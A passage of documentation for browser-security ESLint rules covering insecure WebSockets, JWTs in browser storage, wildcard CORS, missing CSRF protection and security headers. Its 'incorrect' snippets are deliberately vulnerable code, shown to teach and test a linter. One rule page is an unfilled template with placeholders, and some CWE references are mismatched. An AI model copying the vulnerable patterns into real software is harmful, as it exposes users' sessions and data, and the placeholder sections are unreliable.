analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP Unvalidated Redirects Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)** - Protection guide * **[CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html)** - Official CWE entry ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ---------------- | ---------- | ------- | ----------------------------------------------- | | `ignoreInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | | `allowedDomains` | `string[]` | `[]` | Redirect target domains treated as safe | # no-insecure-websocket ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | ----------------------------------------- | | **Severity** | High (Exposure) | | **Auto-Fix** | ❌ No (requires protocol update) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Applications using real-time WebSockets | | **Suggestions** | ✅ Advice on using secure wss\:// protocol | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Cleartext transmission occurs when sensitive data is sent over the network using insecure protocols like `ws://`. Data transmitted this way is not encrypted. **Risk:** An attacker positioned between the client and the server (Man-in-the-Middle) can intercept, read, and even modify the data being transmitted through the WebSocket connection. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-319 OWASP:M5 | Insecure WebSocket detected | HIGH [MitM,Sniffing] Fix: Use wss:// instead of ws:// for secure WebSocket connections | https://cwe.mitre.org/data/definitions/319.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-319](https://cwe.mitre.org/data/definitions/319.html) [OWASP:M5](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Insecure WebSocket detected` | | **Severity & Compliance** | Impact assessment | `HIGH [MitM,Sniffing]` | | **Fix Instruction** | Actionable remediation | `Use wss:// instead of ws://` | | **Technical Truth** | Official reference | [Cleartext Transmission](https://cwe.mitre.org/data/definitions/319.html) | ## Rule Details [#rule-details] WebSockets are often used for real-time communication. Using the insecure `ws://` protocol means all data is transmitted in plain text. This rule flags any string literal or `new WebSocket()` constructor call that uses the `ws://` protocol. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["WebSocket URL"] --> B{"Starts with ws://?"} B -->|Yes| C["🚨 Insecure Connection"] B -->|No| D{"Starts with wss://?"} D -->|Yes| E["✅ Secure Connection"] D -->|No| F["🟡 Unknown/Relative Protocol"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------- | ------------------------------- | -------------------------------------------- | | 🔒 **Confidentiality** | Data eavesdropping by attackers | Use `wss://` (TLS/SSL) | | ⚡ **Integrity** | Data tampering in transit | Enforce secure protocols in all environments | | 🤝 **Compliance** | Violation of security policies | Audit all live connections for encryption | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Insecure WebSocket connection const socket = new WebSocket('ws://api.example.com/updates'); // Insecure URL as a string literal const socketUrl = 'ws://chat.internal.net'; ``` ### ✅ Correct [#-correct] ```javascript // Secure WebSocket connection const socket = new WebSocket('wss://api.example.com/updates'); // Secure URL as a string literal const socketUrl = 'wss://chat.internal.net'; // Dynamic URL with protocol check const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; const socket = new WebSocket(`${protocol}//${host}/ws`); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Abstracted URLs [#abstracted-urls] **Why**: If the URL is constructed dynamically or imported from a configuration file that is not visible to the linter, it might not be detected. ```javascript import { SOCKET_URL } from './config'; const socket = new WebSocket(SOCKET_URL); // ❌ NOT DETECTED (if SOCKET_URL is 'ws://...') ``` **Mitigation**: Use environment variables or global configuration files that are strictly audited for secure protocols. ### Development Environments [#development-environments] **Why**: Some developers use `ws://` for local development. **Mitigation**: Use a conditional check to switch between `ws://` and `wss://` based on the environment, ensuring `wss://` is always used in production. ## References [#references] * [CWE-319: Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html) * [OWASP WebSocket Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Web_Socket_Security_Cheat_Sheet.html) * [MDN - WebSocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) # no-jwt-in-storage > 🔒 Disallow storing JWT tokens in localStorage or sessionStorage **CWE:** [CWE-311](https://cwe.mitre.org/data/definitions/311.html)\ **OWASP Mobile:** [M9: Insecure Data Storage](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule prevents storing JWT tokens in browser storage (localStorage/sessionStorage). JWTs stored in these locations are fully accessible to JavaScript, making them vulnerable to XSS attacks. ### Why is this dangerous? [#why-is-this-dangerous] ```mermaid flowchart TD A["XSS Attack Injected"] --> B{"Where is JWT?"} B -->|localStorage/sessionStorage| C["document.cookie or Storage API"] C --> D["Token Stolen!"] B -->|HttpOnly Cookie| E["Not accessible via JS"] E --> F["Token Safe ✓"] style D fill:#ff6b6b style F fill:#51cf66 ``` When you store JWTs in browser storage: 1. **Any XSS attack can read the token** via `localStorage.getItem('token')` 2. **Tokens can be exfiltrated** to attacker-controlled servers 3. **Attackers can impersonate users** with stolen tokens ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Storing JWT in localStorage localStorage.setItem('token', jwtToken); localStorage.setItem('accessToken', response.access_token); localStorage.setItem('jwt', authResult.jwt); // Storing in sessionStorage (equally vulnerable) sessionStorage.setItem('refreshToken', refreshToken); sessionStorage.setItem('id_token', idToken); // Direct assignment localStorage['bearer'] = bearerToken; localStorage.access_token = token; // Even with obfuscated keys - if value is a JWT, it's detected localStorage.setItem('data', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'); ``` ### ✅ Correct [#-correct] ```javascript // Non-sensitive data is fine localStorage.setItem('theme', 'dark'); localStorage.setItem('locale', 'en-US'); sessionStorage.setItem('searchHistory', JSON.stringify(history)); // Token counters and metadata (not actual tokens) localStorage.setItem('tokenCount', '5'); localStorage.setItem('tokenExpiry', '1234567890'); // Use HttpOnly cookies instead (set by server) // Server: res.cookie('token', jwt, { httpOnly: true, secure: true, sameSite: 'strict' }) // Or use in-memory only (cleared on page refresh) let token = response.jwt; // Not persisted ``` ## Options [#options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "browser-security/no-jwt-in-storage": [ "error", { "allowInTests": true } ] } ``` | Option | Type | Default | Description | | -------------- | --------- | ------- | ---------------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip checking in test files (\_.test.ts, \_.spec.ts) | ## Detection Patterns [#detection-patterns] The rule detects JWT storage through two mechanisms: ### 1. Key Name Detection [#1-key-name-detection] Keys matching these patterns are flagged: * `jwt`, `token`, `bearer` (exact) * `access_token`, `accessToken`, `access-token` * `refresh_token`, `refreshToken` * `id_token`, `idToken` * `auth_token`, `authToken` * Any key ending with `token` (e.g., `userToken`, `apiToken`) ### 2. Value Detection [#2-value-detection] Values that look like JWTs are detected: * Matches pattern: `eyJ[...].eyJ[...].[...]` (base64.base64.signature) ### False Positive Prevention [#false-positive-prevention] These patterns are explicitly excluded: * `tokenCount`, `tokenLength`, `tokenSize` * `tokenLimit`, `tokenMax`, `tokenMin` * `tokenIndex`, `tokenPosition` ## When Not To Use It [#when-not-to-use-it] You may disable this rule if: * Your application doesn't handle authentication * You're building a demo/prototype without security requirements * You have specific requirements that mandates browser storage (not recommended) However, **always prefer HttpOnly cookies** for JWT storage in production. ## Secure Token Storage Alternatives [#secure-token-storage-alternatives] ### Option 1: HttpOnly Cookies (Recommended) [#option-1-httponly-cookies-recommended] ```javascript // Server-side (Express.js) res.cookie('token', jwtToken, { httpOnly: true, // Not accessible via JavaScript secure: true, // HTTPS only sameSite: 'strict', // CSRF protection maxAge: 3600000, // 1 hour }); // Client-side - token is automatically sent with requests fetch('/api/protected', { credentials: 'include', }); ``` ### Option 2: Memory-Only Storage [#option-2-memory-only-storage] ```javascript // Token lives only in memory - cleared on page refresh class TokenService { private token: string | null = null; setToken(jwt: string) { this.token = jwt; } getToken() { return this.token; } clearToken() { this.token = null; } } ``` ## Related [#related] * [CWE-922: Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html) * [Auth0: Token Storage](https://auth0.com/docs/secure/security-guidance/data-security/token-storage) * [`browser-security/no-sensitive-localstorage`](./no-sensitive-localstorage.md) - General sensitive data detection ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### JWT Value from Variable [#jwt-value-from-variable] **Why**: Token values from variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = response.jwt; localStorage.setItem('data', value); ``` **Mitigation**: Never store JWTs in localStorage. ### Custom Storage Wrappers [#custom-storage-wrappers] **Why**: Storage wrappers not recognized. ```typescript // ❌ NOT DETECTED - Custom wrapper myStorage.save('token', jwt); // Uses localStorage internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Obfuscated Key Names [#obfuscated-key-names] **Why**: Key patterns may not match. ```typescript // ❌ NOT DETECTED - Obfuscated key localStorage.setItem('_t', jwt); // Not in key patterns ``` **Mitigation**: Configure additional key patterns. ### Encrypted Tokens [#encrypted-tokens] **Why**: Encrypted JWTs don't match pattern. ```typescript // ❌ NOT DETECTED - Encrypted localStorage.setItem('data', encrypt(jwt)); // Pattern broken ``` **Mitigation**: Still avoid localStorage for auth data. ## OWASP Mapping [#owasp-mapping] | Category | ID | | ----------------- | --------------------------------- | | OWASP Top 10 2021 | A02:2021 - Cryptographic Failures | | CWE | CWE-922 | | CVSS | 8.1 (High) | # no-missing-cors-check **CWE:** [CWE-942](https://cwe.mitre.org/data/definitions/942.html)\ **OWASP Mobile:** [M8: Security Misconfiguration](https://owasp.org/www-project-mobile-top-10/) Detects missing CORS validation (wildcard CORS, missing origin check) that can allow unauthorized cross-origin requests. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security) and provides LLM-optimized error messages that AI assistants can automatically fix. ⚠️ This rule ***warns*** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------- | | **CWE Reference** | CWE-346 (Origin Validation Error) | | **Severity** | High (security vulnerability) | | **Auto-Fix** | ✅ Yes (suggests origin validation) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All web APIs, REST services, microservices with cross-origin requests | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Misconfigured Cross-Origin Resource Sharing (CORS) policies, such as using the wildcard `*` origin or reflecting the `Origin` header without validation, allow any website to access the application's resources. **Risk:** Attackers can host a malicious website that forces a user's browser to send requests to the vulnerable application. Since the browser includes the user's session cookies (if credentials are allowed), attackers can steal sensitive data or perform unauthorized actions (CSRF/Data Exfiltration). ## Rule Details [#rule-details] Missing CORS validation can allow unauthorized websites to make requests to your API, potentially leading to data theft or unauthorized actions. This rule detects wildcard CORS origins (`*`) and missing origin validation. ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | ----------------------------------- | ------------------------- | | 🔒 **Security** | Unauthorized cross-origin requests | Validate origin whitelist | | 🐛 **Data Theft** | Malicious sites can access your API | Origin validation | | 🔐 **CSRF Attacks** | Cross-site request forgery enabled | Proper CORS configuration | | 📊 **Compliance** | Violates security best practices | Always validate origins | ## Detection Patterns [#detection-patterns] The rule detects: * **Wildcard CORS origin**: `origin: "*"` in CORS configuration * **Wildcard CORS header**: `Access-Control-Allow-Origin: *` in response headers * **Missing origin validation**: CORS middleware without origin checking ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Wildcard CORS origin app.use( cors({ origin: '*', // ❌ Allows all origins credentials: true, }), ); // Wildcard CORS header app.use((req, res, next) => { res.setHeader('Access-Control-Allow-Origin', '*'); // ❌ Allows all origins next(); }); // Missing origin validation app.use( cors({ credentials: true, // ❌ No origin specified }), ); ``` ### ✅ Correct [#-correct] ```typescript // Origin validation with whitelist const allowedOrigins = ['https://example.com', 'https://app.example.com']; app.use( cors({ origin: (origin, callback) => { if (!origin || allowedOrigins.includes(origin)) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, credentials: true, }), ); // Origin validation with array app.use( cors({ origin: allowedOrigins, // ✅ Only allows specified origins credentials: true, }), ); // Origin validation in custom middleware app.use((req, res, next) => { const origin = req.headers.origin; if (allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); // ✅ Validated res.setHeader('Access-Control-Allow-Credentials', 'true'); } next(); }); // Using trusted CORS library import cors from 'cors'; app.use( cors({ origin: process.env.ALLOWED_ORIGINS?.split(',') || [], credentials: true, }), ); ``` ## Configuration [#configuration] ```javascript { rules: { "secure-coding/no-missing-cors-check": ["error", { allowInTests: false, // Allow in test files trustedLibraries: ['cors', '@koa/cors', 'express-cors'], // Trusted CORS libraries ignorePatterns: [] // Additional safe patterns to ignore }] } } ``` ## Options [#options] | Option | Type | Default | Description | | ------------------ | ---------- | ------- | ----------------------------------------------------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow missing CORS checks in test files | | `trustedLibraries` | `string[]` | `[]` | Custom CORS libraries to trust (wildcard origins in these libraries will not be reported) | | `ignorePatterns` | `string[]` | `[]` | Additional safe patterns to ignore | ## Rule Logic Flow [#rule-logic-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Literal/CallExpression/MemberExpression Found"] --> B{"In Test File?"} B -->|Yes & allowInTests| C["✅ Skip"] B -->|No| D{"Matches Ignore Pattern?"} D -->|Yes| C D -->|No| E{"Check Pattern"} E --> F{"Wildcard Origin?"} F -->|Yes| G{"Inside CORS Config?"} F -->|No| H{"Wildcard Header?"} H -->|Yes| I{"Access-Control-Allow-Origin?"} H -->|No| C G -->|Yes| J["🚨 Report Error"] G -->|No| C I -->|Yes| J I -->|No| C J --> K["💡 Suggest Fixes"] K --> L["Use Origin Validation"] K --> M["Use CORS Middleware"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 classDef processNode fill:#eff6ff,stroke:#2563eb,stroke-width:2px,color:#1f2937 classDef skipNode fill:#f1f5f9,stroke:#64748b,stroke-width:2px,color:#1f2937 class A startNode class J errorNode class E,F,G,H,I processNode class C skipNode ``` ## Best Practices [#best-practices] ### 1. Use Origin Whitelist [#1-use-origin-whitelist] ```typescript // ✅ Good - Validate against whitelist const allowedOrigins = [ 'https://example.com', 'https://app.example.com', process.env.FRONTEND_URL, ].filter(Boolean); app.use( cors({ origin: (origin, callback) => { if (!origin || allowedOrigins.includes(origin)) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, credentials: true, }), ); ``` ### 2. Use Environment Variables for Origins [#2-use-environment-variables-for-origins] ```typescript // ✅ Good - Configure via environment const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(',') || []; app.use( cors({ origin: allowedOrigins, credentials: true, }), ); ``` ### 3. Validate Origin Before Setting Header [#3-validate-origin-before-setting-header] ```typescript // ✅ Good - Validate then set header app.use((req, res, next) => { const origin = req.headers.origin; const allowedOrigins = ['https://example.com']; if (origin && allowedOrigins.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE'); res.setHeader( 'Access-Control-Allow-Headers', 'Content-Type, Authorization', ); } if (req.method === 'OPTIONS') { res.sendStatus(200); } else { next(); } }); ``` ### 4. Use CORS Library with Validation [#4-use-cors-library-with-validation] ```typescript import cors from 'cors'; // ✅ Good - Use trusted library with validation app.use( cors({ origin: (origin, callback) => { const allowedOrigins = ['https://example.com']; if (!origin || allowedOrigins.includes(origin)) { callback(null, true); } else { callback(new Error('Not allowed by CORS')); } }, credentials: true, methods: ['GET', 'POST', 'PUT', 'DELETE'], allowedHeaders: ['Content-Type', 'Authorization'], }), ); ``` ### 5. Different Origins for Development and Production [#5-different-origins-for-development-and-production] ```typescript // ✅ Good - Environment-specific origins const allowedOrigins = process.env.NODE_ENV === 'production' ? ['https://example.com'] : ['http://localhost:3000', 'http://localhost:3001']; app.use( cors({ origin: allowedOrigins, credentials: true, }), ); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Related Rules [#related-rules] * [`no-unvalidated-user-input`](./no-unvalidated-user-input.md) - Detects unvalidated user input * [`no-unsanitized-html`](./no-unsanitized-html.md) - Detects unsanitized HTML injection * [`no-unescaped-url-parameter`](./no-unescaped-url-parameter.md) - Detects unescaped URL parameters * [`no-sql-injection`](./no-sql-injection.md) - Detects SQL injection vulnerabilities ## Resources [#resources] * [CWE-346: Origin Validation Error](https://cwe.mitre.org/data/definitions/346.html) * [OWASP CORS Misconfiguration](https://owasp.org/www-community/attacks/CORS_Misconfiguration) * [MDN: CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) * [Express CORS Middleware](https://github.com/expressjs/cors) * [CORS Best Practices](https://portswigger.net/web-security/cors) # no-missing-csrf-protection **CWE:** [CWE-352](https://cwe.mitre.org/data/definitions/352.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects missing CSRF token validation in POST/PUT/DELETE requests. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security) and provides LLM-optimized error messages that AI assistants can automatically fix. 💼 This rule is set to **error** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------- | | **CWE Reference** | CWE-352 (Cross-Site Request Forgery) | | **Severity** | HIGH (security vulnerability) | | **Auto-Fix** | ❌ No (requires manual CSRF middleware setup) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All web applications with state-changing operations, Express, Fastify | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Cross-Site Request Forgery (CSRF) occurs when an application processes state-changing requests (like creating users or transferring funds) without verifying that the request originated from a trusted source (usually via a CSRF token). **Risk:** An attacker can trick an authenticated user into visiting a malicious site, which then sends a request to the vulnerable application. The browser automatically includes the user's cookies, causing the application to execute the unauthorized action as the victim. ## Detection Flow [#detection-flow] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569' } }}%% flowchart TD A["🔍 Analyze Route Handler"] --> B{"Is POST/PUT/DELETE/PATCH?"} B -->|No| C["✅ Valid: GET/HEAD/OPTIONS"] B -->|Yes| D{"Has CSRF Middleware?"} D -->|Yes| E["✅ Valid: CSRF protected"] D -->|No| F{"Check Route Arguments"} F --> G{"CSRF in Arguments?"} G -->|Yes| E G -->|No| H{"Global CSRF?"} H -->|Yes| E H -->|No| I["❌ Report: Missing CSRF"] style C fill:#d1fae5,stroke:#059669,stroke-width:2px style E fill:#d1fae5,stroke:#059669,stroke-width:2px style I fill:#fee2e2,stroke:#dc2626,stroke-width:2px ``` ## Why This Matters [#why-this-matters] | Issue | Impact | Solution | | --------------------- | ----------------------------------- | ----------------------- | | 🔒 **CSRF Attacks** | Unauthorized state changes | Add CSRF middleware | | 🔐 **Data Integrity** | Malicious requests from other sites | Validate CSRF tokens | | 🍪 **Session Hijack** | Exploit user sessions | Use CSRF protection | | 📊 **Best Practice** | All state-changing ops need CSRF | Protect POST/PUT/DELETE | ## Detection Patterns [#detection-patterns] The rule detects: * **Express routes**: `app.post()`, `app.put()`, `app.delete()`, `app.patch()` * **Route handlers without CSRF middleware** in arguments * **Common CSRF middleware patterns**: `csrf`, `csurf`, `csrfProtection`, `validateCsrf`, `csrfToken`, `csrfMiddleware` * **Global CSRF middleware**: Applied via `app.use(csrf())` ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Missing CSRF protection on state-changing routes app.post('/api/users', (req, res) => { // ❌ No CSRF middleware // Create user }); router.put('/api/users/:id', (req, res) => { // ❌ No CSRF middleware // Update user }); app.delete('/api/users/:id', handler); // ❌ No CSRF middleware ``` ### ✅ Correct [#-correct] ```typescript app.post("/api/users", csrf(), handler); ``` ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-352 OWASP:A01 CVSS:8.8 | Cross-Site Request Forgery (CSRF) detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A01_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-352](https://cwe.mitre.org/data/definitions/352.html) [OWASP:A01](https://owasp.org/Top10/A01_2021-Injection/) [CVSS:8.8](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Cross-Site Request Forgery (CSRF) detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A01_2021-Injection/) | ## Configuration [#configuration] ### Default Configuration [#default-configuration] ```json { "secure-coding/no-missing-csrf-protection": "error" } ``` ### Options [#options] | Option | Type | Default | Description | | ------------------------ | ---------- | ------- | ------------------------------------------- | | `allowInTests` | `boolean` | `false` | Allow missing CSRF protection in test files | | `csrfMiddlewarePatterns` | `string[]` | `[]` | CSRF middleware patterns to recognize | | `protectedMethods` | `string[]` | `[]` | HTTP methods that require CSRF protection | | `ignorePatterns` | `string[]` | `[]` | Additional safe patterns to ignore | ### Example Configuration [#example-configuration] ```json { "secure-coding/no-missing-csrf-protection": [ "error", { "allowInTests": true, "csrfMiddlewarePatterns": ["csrf", "myCustomCsrf"], "protectedMethods": ["post", "put", "delete"], "ignorePatterns": ["/api/public"] } ] } ``` ## Best Practices [#best-practices] 1. **Protect all state-changing routes**: POST, PUT, DELETE, PATCH 2. **Use middleware**: Leverage Express/Fastify CSRF middleware 3. **Global protection**: Apply CSRF middleware globally when possible 4. **Token validation**: Validate CSRF tokens on every protected request 5. **GET requests**: Don't require CSRF (idempotent operations) ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Related Rules [#related-rules] * [`no-insecure-cookie-settings`](./no-insecure-cookie-settings.md) - Detects insecure cookie configurations * [`no-missing-authentication`](./no-missing-authentication.md) - Detects missing authentication ## Resources [#resources] * [CWE-352: Cross-Site Request Forgery](https://cwe.mitre.org/data/definitions/352.html) * [OWASP: CSRF Prevention](https://owasp.org/www-community/attacks/csrf) * [Express CSRF Protection](https://expressjs.com/en/advanced/best-practice-security.html#use-csrf-protection) # no-missing-security-headers **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) ESLint Rule: no-missing-security-headers. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ----------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-693](https://cwe.mitre.org/data/definitions/693.html) (Protection Mechanism Failure) | | **Severity** | Medium (security vulnerability) | | **Auto-Fix** | ❌ No | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | All web applications | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Missing security headers (like HSTS, X-Frame-Options, Content-Security-Policy) leaves the application vulnerable to various attacks. **Risk:** Without these headers, applications are more susceptible to Man-in-the-Middle (MITM) attacks (missing HSTS), Clickjacking (missing X-Frame-Options), and Cross-Site Scripting (XSS) or Data Injection (missing CSP). ## Rule Details [#rule-details] ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["🔍 Detect no missing security headers"] --> B{"Valid pattern?"} B -->|❌ No| C["🚨 Report violation"] B -->|✅ Yes| D["✅ Pass"] classDef startNode fill:#f0fdf4,stroke:#16a34a,stroke-width:2px,color:#1f2937 classDef errorNode fill:#fef2f2,stroke:#dc2626,stroke-width:2px,color:#1f2937 class A startNode class C errorNode ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ---------------------------- | ----------------- | -------------------- | | 🔒 **Security/Code Quality** | \[Specific issue] | \[Solution approach] | | 🐛 **Maintainability** | \[Impact] | \[Fix] | | ⚡ **Performance** | \[Impact] | \[Optimization] | ## Configuration [#configuration] **No configuration options available.** ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```typescript // Example of incorrect usage ``` ### ✅ Correct [#-correct] ```typescript // Example of correct usage ``` ## Configuration Examples [#configuration-examples] ### Basic Usage [#basic-usage] ```javascript // eslint.config.mjs export default [ { rules: { 'browser-security/no-missing-security-headers': 'error', }, }, ]; ``` ## LLM-Optimized Output [#llm-optimized-output] ``` 🚨 no missing security headers | Description | MEDIUM Fix: Suggestion | Reference ``` ## Related Rules [#related-rules] * [`rule-name`](./rule-name.md) - Description ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/)** - Best practices * **[CWE-693: Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)** - Official CWE entry ## ⚙️ Options [#️-options] | Option | Type | Default | Description | | ----------------- | ---------- | ------------------------------------------------------------------------ | ----------------------------------------------- | | `requiredHeaders` | `string[]` | `["Content-Security-Policy","X-Frame-Options","X-Content-Type-Options"]` | Security headers a response must set | | `ignoreInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | # no-password-in-url > Prevents passwords in URL query parameters or fragments **Severity:** 🔴 CRITICAL\ **CWE:** [CWE-521: Weak Password Requirements](https://cwe.mitre.org/data/definitions/521.html)\ **OWASP Mobile:** [M1: Improper Credential Usage](https://owasp.org/www-project-mobile-top-10/) ## Rule Details [#rule-details] This rule detects when URLs contain password-related query parameters or URL fragments. 